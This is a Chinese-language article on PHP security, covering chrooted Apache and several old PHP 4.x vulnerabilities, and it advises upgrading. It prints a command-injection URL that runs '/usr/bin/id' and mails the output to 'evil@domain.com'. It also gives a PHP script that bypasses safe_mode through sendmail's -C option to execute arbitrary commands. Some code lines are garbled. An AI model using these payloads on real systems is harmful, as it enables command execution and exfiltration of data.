PHP安全設(shè)置(1)
發(fā)表時(shí)間:2024-06-11 來(lái)源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]一、Web服務(wù)器安全 PHP其實(shí)不過(guò)是Web服務(wù)器的一個(gè)模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠(yuǎn)了,無(wú)窮無(wú)盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動(dòng)Apache,這樣即使Apache...
一、Web服務(wù)器安全
PHP其實(shí)不過(guò)是Web服務(wù)器的一個(gè)模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠(yuǎn)了,無(wú)窮無(wú)盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動(dòng)Apache,這樣即使Apache和PHP及其腳本出現(xiàn)漏洞,受影響的也只有這個(gè)禁錮的系統(tǒng),不會(huì)危害實(shí)際系統(tǒng)。但是使用chroot的Apache后,給應(yīng)用也會(huì)帶來(lái)一定的麻煩,比如連接mysql時(shí)必須用127.0.0.1地址使用tcp連接而不能用localhost實(shí)現(xiàn)socket連接,這在效率上會(huì)稍微差一點(diǎn)。還有mail函數(shù)發(fā)送郵件也是個(gè)問(wèn)題,因?yàn)閜hp.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是針對(duì)Win32平臺(tái),所以需要在chroot環(huán)境下調(diào)整好sendmail。
二、PHP本身問(wèn)題
1、遠(yuǎn)程溢出
PHP-4.1.2以下的所有版本都存在文件上傳遠(yuǎn)程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高.
2、遠(yuǎn)程拒絕服務(wù)
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請(qǐng)求處理遠(yuǎn)程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務(wù)。
3、safe_mode繞過(guò)漏洞
還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數(shù)繞過(guò)safe_mode限制執(zhí)行命令漏洞,4.0.5版本開(kāi)始mail函數(shù)增加了第五個(gè)參數(shù),由于設(shè)計(jì)者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡(jiǎn)單,只需用分號(hào)隔開(kāi)后面加shell命令就可以了,比如存在PHP腳本evil.php:
mail("foo@bar,"foo","bar","",$bar);=""?>
執(zhí)行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。
對(duì)于4.0.6至4.2.2的PHP突破safe_mode限制其實(shí)是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令:
<>
#注意,下面這兩個(gè)必須是不存在的,
或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
還是使用以上有問(wèn)題版本PHP的用戶一定要及時(shí)升級(jí)到最新版本,這樣才能消除基本的安全問(wèn)題。